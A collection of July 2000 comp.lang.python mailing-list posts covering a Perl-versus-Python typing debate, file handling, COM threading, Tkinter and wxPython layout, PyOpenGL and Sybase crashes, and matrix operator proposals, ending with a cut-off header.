>I imagine the reason Python doesn't complain here is that it can treat
>expressions as statements, and that sometimes this makes sense, such
>as when there's a function call:

    The problem is, outside the context of interactive mode what good does it
do?  Nothing that I can think if.  Have you made calls for Python to check for
such things just as it checks implicit types?  If not, why not?  In both cases
the assumption is that the programmer does dumb things and should be babysat.

>I'm not claiming we want to be strict about things at all times. If
>I thought that I wouldn't be using Python. I was claiming that 'guessing'
>what a line of code is supposed to mean can be bad. I mean, really:

>"foo1" + 1 # 1
>"1foo" + 1 # 2
>"1" + 1 # 2
>" 1" + 1 # 2
>"\n1" + 1 # 2
>"1*2" + 1 # 2

>Are you sure this never gives you any odd output?

    Positive.  Because you have made the base assumption that the only way to
check data is for the language to do it instead of the programmer.  I know
what data I am passing, I don't need type checking in an implicit system to
provide annoyances all over the place for the off chance that I /might/ goof
up.  Quite a Libertarian view, innit?  In a sentence.

    LET ME MAKE MISTAKES!

>No, giving up in the face of ambiguity versus guessing. Ambiguity tends
>to arise when I'm doing something wrong; if I did it right it wouldn't
>be ambiguous code. Besides, I wouldn't want to read such code even
>if it did the right thing; confusing.

    What ambiguity?  Data is data.  I don't find it confusing when you unlearn
the concept of types.  I mean, how many people out there who program in other
languages consider Python confusing because whitespace is used for block
declaration instead of {} or BEGIN/END or whatever other block declaration is
out there.  

    If your mind can wrap itself around the concept of a lack of braces for
block declaration then there should be no problem unlearning the concept of
data "types".  

>In Python there are tons of ways to do it too. :)

    So long as you tell it explicitly what you want even though its ambuigity
on the implicit typing is what cause the problem in the first place?  I'm
sorry, but I do not consider data confusing unless it is typed.  I see 1 and I
am confused why I can't add it to 2.  I don't /care/ if it is a char, string,
integer or floating.  It is 1 to me.

>Because I wasn't arguing for 'strict checking'; I was arguing not checking
>until the *last moment*, and if that makes no sense, give up.
>(unless you catch the exception, of course)

    Which makes no sense without declarations up front since you are allowing
ambiguity, to use your term, from the onset.

    Python: You need to know what data type it spews out for each operation.

    Perl: You need to know what the data contains.

    Either way, you got ambiguity.  

    As for catching the exception I'd much rather check the data first, thank
you.

>Not in OO code:

    Funny, we have implicit typing in OO code that causes problems later in
the code.  So yes in OO code.
   
>That works, as the check at the last moment could figure it out; there was
>such a method, so it executes it. Now if 'doit()' was absent and the system
>started guessing, we'd be in trouble, right?

    This is not, however, data.  Methods are functions, if there is nothing to
call, there is nothing to call.  1 is data, be it integer, float, char, string
or any other name you want to give it.

>So I don't need to know about what happens when I do "1foo" + 1?
>Or "foo1" + 1? Or "foo1" - 1? Presumably I'd need to check my user
>input *anyway*, right?

    Yup, that is exactly what you should be doing and if you were doing it
properly then you'd not have to rely upon the language to do it for you.  

    As I said, you're trading knowing what a certaion operation does with
certain data versus having to know what type of data a certaion operation
spits out at you.  

    6, half dozen.  Ring a bell?

>> Not that hard to remember.  Much easier, in fact, that having to
>> remember to declare everything from the onset or declare it each time you
>> need to use it in a particular context much less having to put in checks
>> in case you're trying to declare something into something which it cannot
>> be morphed into.

>But in Python you don't need to declare at all. You just need to explicitly
>say sometimes you want something changed into something else. If you
>want an integer, change your string into an integer. Do it early on if
>you don't want to do it everywhere and work with integers from then on.

    Thank you for ignoring what I said.  First off, in Perl I don't have to
declare at all as a rule and only need to worry about the exceptions.  In
Python it is the reverse, I need to declare as a rule except for the
exceptions.  Furthermore if I need to change my string into an integer I need
first check to make sure it is a string /THEN/ I can convert it to an integer.

>>> int(None)
Traceback (innermost last):
  File "<stdin>", line 1, in ?
  TypeError: object can't be converted to int

{grey at teleute:~} perl
print int(null)."\n"

    This causes problems when using a regex that has an or that can match
different numbers of groups based on which or hits because any conversions on
any group that didn't hit now needs to be encapsulated in either a
try/except|finally block or an if.  You might like littering your code with
try/except and ifs which are only needed because the type checking isn't
allowing you to do things you should be able to do but personally I don't.  I
find it foolish that I need to check a variable to make sure it exists so I
can type it to integer when I know an integer is going into it in the first
place!  In short a regex which returns a number turns into...


$modifider = $4;

    ...has become...

if diematch.group(4):
  modifier = diematch.group(4)

    ...or...

try:
  modifier = int(diematch.group(4))
except TypeError:
  pass

    All because I don't want to have to int() the darn thing every time I use
it elsewhere.  That may seem like a small thing but in my mind, since I
consider everything just data, I move between string and numerical operations
seamlessly because data is /both/.

>The funny thing is that in Python this happens, and I'd agree with you,
>but it tends to happen more often for class instances

    Except I don't consider instances data.  They are structure or commands,
not data.

>We aren't so far apart in that sense; we just disagree about how many
>operations the basic datatypes should support. I personally never had
>trouble with having to call int() excessively, for instance. If you
>find you're doing that a lot in your code, something may be odd about the
>design of your code.

    I seriously doubt that.  All I'm doing is a basic regex match and
assignment of the matched data.  I haven't gotten into making complex data
structures yet in Python but I have a feeling the typing will get in the way
since a lot of the times that I manipulate keys in a hash/directory I move in
and out of numerical and string processing to get the job done.

>Note also that in your case, the only thing you're complaining about is
>that Python treats numbers and strings differently; Python doesn't care much
>whether your number is an integer or a float or a long integer, for instance.
>It doesn't distinguish between characters and strings either. The only
>addition to your type pantheon would seem to be the string/number
>dichotomy and the list/tuple dichotomy, nothing else. :)

    Hmmm, but you forget, lists, tuples and hashes are not data, they are
structure.  Hashes and arrays are not data, they are structure.  Classes that
hold only data are not data, they are structure.  Classes, in fact, to me, are
just structures that hold either functions (renamed to methods) or data.

    You have different types of data.  I have, conceptually, data, commands
and structure.  What /form/ those take and what semantics assigned to them
vary from language to language but the concepts to me are quite clear.

data = the information.
commands = the operations tha manipulate the data
structure = orgainzation of either data or, in the case of OO, commands as
well.

    1 is data.  Not integer, not string, not any other type that any other
language has cast upon it to help it out.  It is data.  That is how my mind
works and, in fact, that is how the minds of nearly every human being works.
1 is data.  What to do with that data depends on context.  There is no
"conversion" as that is purely a machine concept since to it, everything is
either on or off.  The difference between your position and mind is that
you're closer to the machine where the machine is closer to me.

    Lists, arrays, hashed, directories, classes, structs, etc, etc, etc are
all organizational in nature.  OO has the distinction of having the ability to
apply those organizing constructs to commands and not just data.

    Operations, functions, prodecures, methods.  All manipulate the data.  The
do something.  In OO they can be organized.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From stephen at cerebralmaelstrom.com  Sun Jul  9 12:44:52 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Sun, 09 Jul 2000 16:44:52 GMT
Subject: Borland C++ Builder make files for Python?
References: <3967DBDB.7FBDD3E5@tds.net> <3968581B.C9571894@dittmar.net>
Message-ID: <8_1a5.124522$WS3.1076728@typhoon.we.rr.com>

    Hinthint. Don't forget to run coff2omf on the VC lib if you just link it
to
your borland project :)

--S

Daniel Dittmar <daniel at dittmar.net> wrote in message
news:3968581B.C9571894 at dittmar.net...
> I think Borland supplies a tool to convert Visual C++ workspaces to C++
> Builder projects, at least they mention VCTOBPR.EXE in their help files
> for the free command line tools.
>
> Unfortunately, this tool is not part of the free tools, so please submit
> your converted makefiles to the Python team.
>
> BTW, I don't think it is really necessary to rebuild Python, just try
> linking against the import lib created from the python15.dll.
>
> Daniel
>
> "Edward K. Ream" wrote:
> >
> > I would like to build the Python interpreter and library using Borland
> > C++ Builder 4 so that I can embed Python in an app.  Does anyone have
> > such a makefile that works?
> >




From nils.otto.johansen at nrk.no  Wed Jul 19 12:02:15 2000
From: nils.otto.johansen at nrk.no (Nils Otto Johansen)
Date: Wed, 19 Jul 2000 18:02:15 +0200
Subject: Exception when creating com-object in thread
Message-ID: <MPG.13dfef683f744220989680@news.eunet.no>

Hi!

When I am running a threaded python script, and in one of the threads 
want to creata a instance of a com class, an exception is raised saying :

CoInitialize is not called  
(freely transleted from norwegian :"CoInitialize er ikke kalt.")

any suggestions ??

What is CoInitialize, and how and why do I call it

Nils


From stephen at cerebralmaelstrom.com  Fri Jul 14 20:29:29 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Sat, 15 Jul 2000 00:29:29 GMT
Subject: Getting local IP address...
References: <8ko8qr$7cd$1@nnrp1.deja.com>
Message-ID: <JfOb5.5078$lS2.71716@typhoon.we.rr.com>

    Nevermind.

    I've discovered i'm intelligent enough to actually chcek Deja and get
an answer so that i doin't have to spam ya'll with stupid questions :)

    Heh. :)

--S

Stephen Hansen <stephen at cerebralmaelstrom.com> wrote in message
news:8ko8qr$7cd$1 at nnrp1.deja.com...
> How do I go about getting my dynamic IP address? I want to make a
> little program to check periodically (daily or so) and log the results
> so I can determine how often my IP is getting shuffled. :)
>
> Thanks :)
>
> --Stephen
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From db3l at fitlinxx.com  Fri Jul 21 18:53:27 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 21 Jul 2000 18:53:27 -0400
Subject: Closing a file
References: <8l7lm7$kkb$1@news6.svr.pol.co.uk> <39785934.FD37DFD8@sec.noaa.gov> <8la5ae$cck$1@news8.svr.pol.co.uk>
Message-ID: <ug0p3yu1k.fsf@ctwd0143.fitlinxx.com>

"Duncan Smith" <buzzard at urubu.freeserve.co.uk> writes:

> The following seems to do exactly what I want.  It was suggested by a
> computer scientist who knows no Python (but I presume C).  Is 'sys.stdout =
> 0' a safe way of handling this?

Not if you want sys.stdout to continue functioning the way it normally
does (e.g., this might generate errors in other code that uses 'print') :-)

But yes, assigning sys.stdout to _anything_ else will remove the
reference to your open file (which sys.stdout is holding, but loses
when you point sys.stdout to reference something else - the integer 0
in this case) and the file object will then get closed and deleted.
That's basically the same suggestion that the first responder to your
original note mentioned.

If I might suggest, it would be cleaner to save the old contents of
sys.stdout when your function first reroutes it (just save it off in
self.old_stdout or whatever), and then restore to that value when
done.

You also mentioned along the thread that this was one of your first
programs.  I'm not sure if rerouting sys.stdout and then using 'print'
is a requirement of your application or if it's just the first way you
tried to get file output.

If you really just want to control output to the file, you could
ignore sys.stdout altogether, just keep your file reference in an
instance variable (say self.outputfile.write()) and then use normal
file routines to do your output.  Now in some cases they will differ a
bit because 'print' assumes it should convert everything to a string
before printing.  If you want that format in the file with a direct
write() you can convert the value into a string before calling write()
in various ways (calling str(), using "%s" % value, etc..)

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From boncelet at eecis.udel.edu  Wed Jul 19 10:53:46 2000
From: boncelet at eecis.udel.edu (Charles Boncelet)
Date: Wed, 19 Jul 2000 10:53:46 -0400
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators 
 for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com>
		<3973415D.5262CD86@eecis.udel.edu> <3hitu4wiq9.fsf@angband.org>
Message-ID: <3975C0FA.3A45B105@eecis.udel.edu>

Eric Lorenzo wrote:
> 
> Charles Boncelet <boncelet at eecis.udel.edu> writes:
> > Let's get some facts (yes, I know we are not supposed to let facts
> > interfere with our arguments on usenet):
> 
> [Relative popularity measurements deleted.]
> 
> These metrics are meaningless.  You're comparing the popularity of
> Matlab, the most popular tool for its problem domain (numerical
> computing), to Python, which (unfortunately) isn't even close to the
> most popular tool for its problem domain (general-purpose scripting
> and programming).  I'd imagine that establishing that there is a high
> level of interest in this domain would be a prerequisite for
> convincing anyone to add the desired features.  But your metrics don't
> tell us anything at all about the relative level of interest in the
> numerical computing domain, and are thus useless for your apparent
> purpose.  Compare Python+Perl+Tcl+Java+C+C++ to Matlab+(Any other
> languages targeted towards the numerical computing problem domain.
> Mathematica?), and you might have something half-worthwhile.
> 
> Eric

I think you miss my point (which probably means that I didn't phrase
it well).  

Matlab has many more users than Python.  I don't care whether there are
more script writers than numerical workers.  I just wanted to clearly
establish that Matlab is more popular than Python (which I think I 
have).  

Why did/do I want to establish this?  It is my opinion that there are
many numerical people out there who would be more than willing to
switch to Python if Python was a little more appropriate for their 
needs (and perhaps if it was advertised a little more aggressively).

Pros of Python for numerical users: Numpy is fast and well written (and
getting better, thanks to the efforts of its developers). Python has
access to lots of interesting libraries, e.g., databases, web, graphics,
cryptography, etc.  (I do things that combine numerical work with
web and cryptographic tools and use database thingys to store the 
results.  Python is great at these things.)

Cons of Python for numerical users: Numpy does not have the simple
syntax that mathematicians/engineers/etc love.  It does not have the
plethora of toolboxes Matlab does. (I expect Python to improve in this
area.) Writing C numerical extensions is difficult for newcomers (and
some not-so-newcomers :-) Python does not come setup for numerical work
(with numpy, PIL, graphics builtin). Its help facilities are almost
nonexistent.

Reasons why Python is a better alternative than Octave, Perl, TCL, etc:
Octave doesn't have easy access to the other things that Python has; it
is only a free version of Matlab without all the toolboxes.  Perl and
TCL are far too ugly to seriously attract the numerical crowd (who are
generally not professional programmers).

On my soapbox: As you say, Python "isn't even close to the most popular
tool for its problem domain".  And yet, the Python community refuses to
sully the language by adding things that might make it more popular (not
just more operators for numerical work, but stackless for palm pilots,
+=, ++, support for reloadable operators, typechecking, list
comprehensions, more elaborate iterators, to name a few.)  There might 
be arguments against each of these, but taken together it indicates an
unwillingness to change.  Python is perfect as is, and we certainly
don't need to adopt the methods of the unwashed.

-- 
Charles Boncelet                              302-831-8008
Dept of Electrical and Computer Engineering   302-831-4316 (fax)
University of Delaware                        boncelet at eecis.udel.edu
http://www.eecis.udel.edu/~boncelet/


From jeremy at beopen.com  Tue Jul 11 09:45:11 2000
From: jeremy at beopen.com (Jeremy Hylton)
Date: 11 Jul 2000 09:45:11 EDT
Subject: RADIUS authentication poll
References: <14698.5654.645828.624122@bitdiddle.concentric.net> <20000710210546.N26534@xs4all.nl>
Message-ID: <bl8zv8g4mx.fsf@bitdiddle.concentric.net>

Thomas Wouters <thomas at xs4all.net> writes:

> On Mon, Jul 10, 2000 at 02:29:42PM -0400, Jeremy Hylton wrote:
> 
> > We recently received a module submission for the Python standard
> > library that implements very basic RADIUS authentication.  It's not
> > clear how widely useful this module would be.
> 
> Not really something to put in the std. lib, in my humble opinion.

This looks like the consensus conclusion.  If someone need the radius
module, she can find it using the Vaults of Parnassus.
http://www.vex.net/parnassus/apyllo.py?i=37689935

Jeremy


From srs25 at cornell.edu  Tue Jul 25 11:06:11 2000
From: srs25 at cornell.edu (Samuel Scarano)
Date: Tue, 25 Jul 2000 11:06:11 -0400
Subject: Searching a binary file
References: <yfmu2dfv5xv.fsf@erato.i-did-not-set--mail-host-address--so-shoot-me>
Message-ID: <397DACE3.515F71A9@cornell.edu>

Interesting problem. I'd like to propose a generalized one which I may be
facing soon:

Suppose you want to search with an *arbitrary* regular expression. In this
case, you don't know how long the matching string may be, so you don't know
how much overlap you need between buffers.

Is it necessary, perhaps, to use a constant buffer-overlap size, thus
placing a bound on the length of a matched string?

Just to make it harder, suppose the buffers are numerous and arbitrarily
small -- sometimes smaller than the matched-string length bound.

Is there a way to get the regular expression engine to save its state at the
end of one buffer and pick up where it left off on the next? I'm almost
certain that this is possible (at least with the sort of naive DFA-based
regex implementation that I have in mind), but has such functionality been
made available in python?

luthi at vaw.baug.ethz.NOSPAM.ch wrote:
> 
> What is the fastest way to search a binary file for a certain byte pattern
> (**** in my case)?
> 
> I came up with this solution, but I guess there is a better way to do
> it. Thanks for all suggestions.
> 
> Martin Luethi
> 
> =====
> 
> # constants
> MaxFileSizeInMemory = 10*1000*1000
> 
> file = open('my_binary_file', 'b')
> 
> file.seek(0,2)                   # set the pointer to the end of the file
> filesize = file.tell()           # get the size of the file
> file.seek(0)                     # reset the file pointer
> rex = re.compile(r'[\*]{4}')     # the bytes to search for
> starpointer = []                 # position of the '****' in the file
> oldpos = 0
> for i in range(filesize/MaxFileSizeInMemory + 1):
>     data = self.file.read(MaxFileSizeInMemory) # read a chunk of bytes
>     m = rex.search(data)
>     while m:                     # find all '****' in this chunk
>         pos = m.start() - 4      # corrected for the length of '****'
>         incpointer.append(pos + i*MaxFileSizeInMemory)
>         m = rex.search(data, pos + 10)
>         oldpos = pos
> file.close()                     # close the file
> 
> --
> ============================================================
> Martin Luethi                   Tel. +41 1 632 40 92
> VAW ETH Zuerich
> CH-8092 Zuerich                 mail luthi at vaw.baum.ethz.ch
> Switzerland
> ============================================================

-- 
Samuel R. Scarano                        "Due to circumstances beyond my
undergraduate, Cornell University        control, I am master of my fate
<srs25 at cornell.edu>                      and captain of my soul."
http://people.cornell.edu/pages/srs25/             -- Ashleigh Brilliant


From claird at starbase.neosoft.com  Tue Jul 18 09:12:53 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 18 Jul 2000 08:12:53 -0500
Subject: newb question
References: <3973EE1B.15B0B32E@mediaone.net> <8l0tfe$3th$1@nnrp1.deja.com>
Message-ID: <163D6955A2007F47.FFD962D0598C8347.D4930FC2360D6694@lp.airnews.net>

In article <8l0tfe$3th$1 at nnrp1.deja.com>,  <lordkaos at my-deja.com> wrote:
>In article <3973EE1B.15B0B32E at mediaone.net>,
>  Toy <gee308 at mediaone.net> wrote:
>> what is a simple way I can save variables that people enter in from
>> 'raw_input' ?  That way, someone enters the variables they want, then
>> when the script is booted up everytime the machine starts, it will
>grab
>> the variables from somewhere.  Thanks.
>> Jason Toy
>> toyboy at toy.eyep.net
>>
>>
>The tutorial at <a href="http://www.python.org/current/tut">Python's
>website</a> tells a simple and easy way to do exactly what you're
>saying. If you can get the variables into a class (read section 9, in
>particular 9.3) then it is easy to read and write a big set of vars all
>together in one operation by using the 'pickle' command (read about
>this and easy file creation/opening in section 7.2). I just read over
			.
			.
			.
Pickling's good.  In many situations, it can be handy simply
to write out Python source text.  I don't understand Tony's
question well enough to know whether he's a candidate; however,
<URL:http://www.sunworld.com/sunworldonline/swol-06-2000/swol-0630-regex.html>
gives a few examples that might be helpful.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From porter at et.byu.edu  Tue Jul 11 13:50:09 2000
From: porter at et.byu.edu (C. Porter Bassett)
Date: Tue, 11 Jul 2000 11:50:09 -0600 (MDT)
Subject: Solaris Binaries
Message-ID: <Pine.GHP.4.21.0007111141360.16443-100000@don.et.byu.edu>

I need to find python binaries for solaris7 and solaris8.  I have found
some on the net, but they don't have curses or even threads.  I am not
experienced enough to compile the thing by myself.  Can anybody point me
in the right direction?

--------------------------------------------------------------------------
C. Porter Bassett     porter at et.byu.edu   http://www.et.byu.edu/~porter
--------------------------------------------------------------------------
"Pretend like this is a really witty saying." - Anonymous
--------------------------------------------------------------------------




From to_get_my_address at see.my.signature  Thu Jul 27 02:29:19 2000
From: to_get_my_address at see.my.signature (Greg Ewing)
Date: Thu, 27 Jul 2000 19:29:19 +1300
Subject: Is the "Be" significant? (Re: The State of Python)
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com>
Message-ID: <397FD6B9.5017B952@see.my.signature>

By the way, does BeOpen have anything to do with
the BeOS people? If not, it would seem to be a
rather confusing choice of name.

-- 
Greg Ewing, Computer Science Department, 
University of Canterbury, New Zealand
To get my email address, please visit my web page:
http://www.cosc.canterbury.ac.nz/~greg


From mblatch at orci.com  Thu Jul  6 12:03:44 2000
From: mblatch at orci.com (m)
Date: Thu, 06 Jul 2000 10:03:44 -0600
Subject: Having problems with Exceptions
Message-ID: <3964ADE0.E8051736@orci.com>

I'm new at Python coding and am trying to catch
errors returned by os.open with exception handling.
All errors with os.open are returned with an OSError
exception.  So, how do I split out the individual errors
with something as simple as:

try:
  file=os.open("test",os.O_RDWR | os.O_CREAT | os.O_EXCL, 0444)

except OSError:
  {want to do different things here for errno EEXIST (file exists)
     or EACCES (Permission denied), etc.}

I have looked at the tuple returned by sys.exc_info() and can
extract the *text* of the Python error message 
(i.e. "[Errno 17] File exists"), but not the numeric error number.
I certianly don't want to have to rely on parsing the text to get 
the actual error.  I'm sure there is an easy answer to this if
someone would be kind enough to help me.

Thanks,

Mike
mblatch at orci.com


From paul at svensson.org  Mon Jul 24 14:34:35 2000
From: paul at svensson.org (Paul Svensson)
Date: 24 Jul 2000 18:34:35 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com>
Message-ID: <8li27r$6sg$1@newsy.ifm.liu.se>

Tim Hochberg wrote:

(summarized)
>At this point there seems to be main proposals. There are variations
>on these basic themes, but these two capture the main points:

proposal 1:
>New Operators: .+, .-, ./, .*

proposal 2:
>New Operators: (+), (-), (/), (*)[outer], (.)[dot], (|)[solve], (^)[power] 

Unfortunarely, neither of these seem very esthetically pleasing to me,
and I don't mean the graphics.  May I instead suggest that we add no
new operators at all, just a modicum of new syntax.

Logically, elementwise operators are defined in terms of operations on the
elements, and thus should need no new __foobar__ methods, only some way
(i.e. syntax) to indicate that the operators are operating on the elements
(with the usual NumPy broadcasting applied) instead of on the whole.

Matrix operators on the other hand, operate on the whole objects, which is
the natural way for operators to be defined in Python, so it would make more
sense to use the usual (+, -, *, /, **, ...) symbols for these.  This is
doable only as long as we don't usurp them for elementwise operations.

As for what syntax to use for elementwise operations,  X [+] Y (etc)
immediately evokes the right image to me; naturally combining + and [].
The extension from matrices to any and all Python containers comes naturally.
(This should also mesh well with (augmented) assignment, for example,
X [=] Y making a (shallow) copy into the existing object; however, I haven't
quite thought thru the implications of this...)

The up side:
+ clean, easy to understand syntax, with no surprises
+ the natural object-orientedness of python operators is preserved
+ no new operators or __foobar__ methods needed

The down side:
- no new operator for left division; use solve(x, y)
- no new operators for various different multiplications
- the NumPy people are not likely to be pleased

	/Paul


From owen at astroNOJNK.washington.edu.invalid  Mon Jul 17 13:43:33 2000
From: owen at astroNOJNK.washington.edu.invalid (Russell E. Owen)
Date: Mon, 17 Jul 2000 10:43:33 -0700
Subject: Tkinter canvas resize question
Message-ID: <8kvgk5$6m4q$1@nntp6.u.washington.edu>

I have a Tkinter canvas (along with a few other widgets) in a window. I 
want the canvas widget to resize whenever the window resizes (the other 
widgets are fields with fixed height). Not a problem, so far.

But...I'd also like to resize the contents of the canvas whenever the 
user resizes the window.

I have been catching the <Configure> event, but this is not very 
satisfactory because I see it before the canvas does. I've been manually 
configuring canvas to a new size, but this is potentially unstable -- if 
I don't set exactly the size the frame wants, the frame will generate a 
new <Configure> event, leading to many cycles of size changing.

What I'd really like is for the canvas to resize itself (i.e. perform 
all the standard negotiations with its master) and then tell me it has 
been resized, so I can redo its contents. Is there some easy way to do 
this?

Saving this, is there some easy way to catch <Configure>, pass it to 
canvas (as if I'd never intercepted it) and then ask canvas what size it 
has become and redo its contents accordingly?

I do have John Grayson's book "Python and Tkinter Programming"; the info 
is likely in there, but I haven't found it. I suspect I should also have 
a complete Tk reference, and would welcome suggestions.

-- Russell

P.S. another useful thing would be to have a window that contained a 
canvas of a particular aspect ratio (say 1:1, square). When the user 
resized the window, the window would retain the newly requested height, 
but the width would change as needed to give the canvas its desired 
aspect ratio. Is this sort of thing possible, and what is involved? 
Writing a new layout manager?


From jack at tornado.sh.cvut.cz.bbs  Fri Jul 14 19:30:03 2000
From: jack at tornado.sh.cvut.cz.bbs (jack at tornado.sh.cvut.cz.bbs)
Date: 14 Jul 2000 23:30:03 GMT
Subject: wxNotebook in a wxWindow doesn't stretch
Message-ID: <3bPCYR$mnu@openbazaar.net>

hi.


I am lost. After few hours of trying to solve it, I give up...

I have following piece of code (modified, shortened...):

class MainWindow(wxFrame):

    def __init__(self, parent, id, title):
        wxFrame.__init__(self, parent, id, title, size = (800, 600),
                         style=wxDEFAULT_FRAME_STYLE|
			 wxNO_FULL_REPAINT_ON_RESIZE)

        self.CreateStatusBar(1, wxST_SIZEGRIP)

	# is ksSPLIT is set, we split main window horizontally into two
	# subwindows
	if ksSPLIT:
	    self.splitter = wxSplitterWindow(self, -1, style=wxNO_3D|wxSP_3D)
	    self.leftWin = self.splitter
	    self.desktopFrame = wxWindow(self.splitter, -1)
	    self.desktopFrame.SetBackgroundColour(wxNamedColour("Pink"))
	else:
	    self.splitter = None
	    self.leftWin = None
	    self.desktopFrame = self

	# the following code won't reside in constructor later!
	# I need the desktopWin placed IN desktopFrame so that it occupies the
	# whole area of it
	# desktopWin may look differently depending on the application,
	# when no desktopWin is set up, desktopFrame should be visible
	
	self.desktopWin = wxNotebook(self.desktopFrame, -1)
	txt = wxTextCtrl(self.desktopWin, -1,
			 style = wxTE_MULTILINE|wxTE_READONLY|wxHSCROLL)
	self.desktopWin.AddPage(txt, "Overview")

	sizer = wxBoxSizer(wxHORIZONTAL)
	sizer.Add(self.desktopWin, 1, wxEXPAND | wxALIGN_CENTER, 5)
	self.desktopFrame.SetAutoLayout(true);
	self.desktopFrame.SetSizer(sizer);
	#sizer.Fit(self.desktopFrame)

        self.Show(true)

	if ksSPLIT:
	    self.splitter.SplitVertically(self.leftWin, self.desktopFrame)
	    self.splitter.SetSashPosition(180, true)
	    self.splitter.SetMinimumPaneSize(20)


	# a jeste pocatecni formular a jeho pracovni podminky
	self.aktivniFormular = None
	self.desktopWin  = None


now, when I set ksSPLIT = 0, everything works just fine. the desktopWin
occupies the whole area of desktopFrame (== self). but as soon as I change
ksSPLIT = 1, desktopWin takes only a very small area of desktopFrame (about
10x10 pixels) and it won't scale with the desktopFrame.

thanks for your help.
Jan

--
  Jan Fedak                            talk:jack at tornado.sh.cvut.cz
  mailto:J.Fedak at sh.cvut.cz                    mailto:jack at mobil.cz
                Linux - the ultimate NT Service Pack.


From un4e at rzstud1.rz.uni-karlsruhe.de  Wed Jul 19 08:44:30 2000
From: un4e at rzstud1.rz.uni-karlsruhe.de (Bjoern Giesler)
Date: 19 Jul 2000 12:44:30 GMT
Subject: Newbie question: PyOpenGL installation
References: <3bRNNT$lvY@openbazaar.net> <8l2emv$583$13$1@news.t-online.com>
Message-ID: <8l47re$313$1@news.rz.uni-karlsruhe.de>

Hi,

Thomas Malik <340083143317-0001 at t-online.de> wrote:
:>
:> * install python-numpy-15.3-1.i386.rpm from
:>   http://download.sourceforge.net/numpy/python-numpy-15.3-1.i386.rpm
:>
:> * grab pyOpenGL from CVS using the instructions on
:>   http://www.pythonpros.com/cvs.html
:>
: That's quite old, the actual PyOpenGL is now on
: http://cvs.sourceforge.net/cgi-bin/cvsweb.cgi/?cvsroot=PyOpenGL

I just got the CVS source from there, installed it (modifying it according
to the rules posted in this thread), and it doesn't work :-( Just saying the
two lines

>>> from OpenGL.Tk import *
>>> from OpenGL.GL import *

results in a segmentation fault. The abbreviated backtrace is

#0  0x8126fa7 in ?? ()
#1  0x8064211 in import_submodule (mod=0x8124288, subname=0xbfffe973 "GL", 
    fullname=0xbfffe96c "OpenGL.GL") at import.c:1737
#2  0x8063e94 in load_next (mod=0x8124288, altmod=0x8124288, 
    p_name=0xbfffed78, buf=0xbfffe96c "OpenGL.GL", p_buflen=0xbfffe968)
    at import.c:1603
#3  0x8063b31 in import_module_ex (name=0x0, globals=0x8130778, 
    locals=0x8130778, fromlist=0x8120978) at import.c:1452
#4  0x8063c30 in PyImport_ImportModuleEx (name=0x81434ec "OpenGL.GL", 
    globals=0x8130778, locals=0x8130778, fromlist=0x8120978) at import.c:1489
#5  0x8080065 in builtin___import__ (self=0x0, args=0x8127c88)
    at bltinmodule.c:65

The line in #1 is 

#1  0x8064211 in import_submodule (mod=0x8124288, subname=0xbfffe973 "GL", 
    fullname=0xbfffe96c "OpenGL.GL") at import.c:1737
1737                            path = PyObject_GetAttrString(mod, "__path__");

My system is a SuSE 6.3 (glibc 2.0), relatively pristine, on ix86. I'm at a
loss here. Anyone have an idea why this happens, or even have a binary
package you might tar up and send to me?

Thanks a lot in advance.

Regards,
		--Bj?rn


From cmfinlay at SPAMmagnet.com.au  Wed Jul  5 09:21:03 2000
From: cmfinlay at SPAMmagnet.com.au (cmfinlay at SPAMmagnet.com.au)
Date: Wed, 05 Jul 2000 23:21:03 +1000
Subject: "Write to a file" question please?
Message-ID: <tzFjOfN2zOzPHwvl3ncklEAEb+fa@4ax.com>

number = 100
print "Number =", number
OUT = open("TT.txt","w")
OUT.write("Number =", number) # Error
OUT.close()

The code above gives the error.

Traceback (innermost last):
  File "ttest.py", line 5, in ?
    OUT.write("Number =", number)
TypeError: read-only buffer, tuple

OUT.write("Hello World")

Works but a number or variable of a number does not.

I have been reading documents on Python to no avail this time.
I am using Win98 with the latest python for this OS.

Any help would be much appreciated
E-mail me at cmfinlaySPAM at magnet.com.au
or reply here.


From slinkp23 at yahoo.com  Wed Jul 26 20:01:57 2000
From: slinkp23 at yahoo.com (Paul Winkler)
Date: Wed, 26 Jul 2000 20:01:57 -0400
Subject: Find where you left off...
Message-ID: <397F7BF5.F4A0138D@yahoo.com>

A little trick I discovered today:

when writing python in emacs, you can mark the spot where you
stopped just by writing some arbitrary text like "start from here"
or whatever. Next time you open this file in emacs, just do C-c C-c
; python throws an exception and emacs jumps to the offending line.
Cool.

-- 
.................    paul winkler    ..................
slinkP arts:   music, sound, illustration, design, etc.
           web page:  http://www.slinkp.com
      A member of ARMS:   http://www.reacharms.com


From cg at schlund.de  Thu Jul 13 11:15:39 2000
From: cg at schlund.de (Carsten Gaebler)
Date: Thu, 13 Jul 2000 17:15:39 +0200
Subject: Sybase module crashes (segfault)
References: <396B2DEA.2FAEA72B@schlund.de> <396B3885.F612FD76@schlund.de> <m3g0pg9pj3.fsf@vole.object-craft.com.au>
Message-ID: <396DDD1B.1A64A561@schlund.de>

Hi!

Actually there are three cases in which Sybase.connect makes a
segfault:

- missing interfaces file
- $SYBASE not set
- $LANG set to anything else than "" or "C" and no
internationalazation installed with Sybase


Carsten.


From nowonder at pool.informatik.rwth-aachen.de  Tue Jul 25 01:40:57 2000
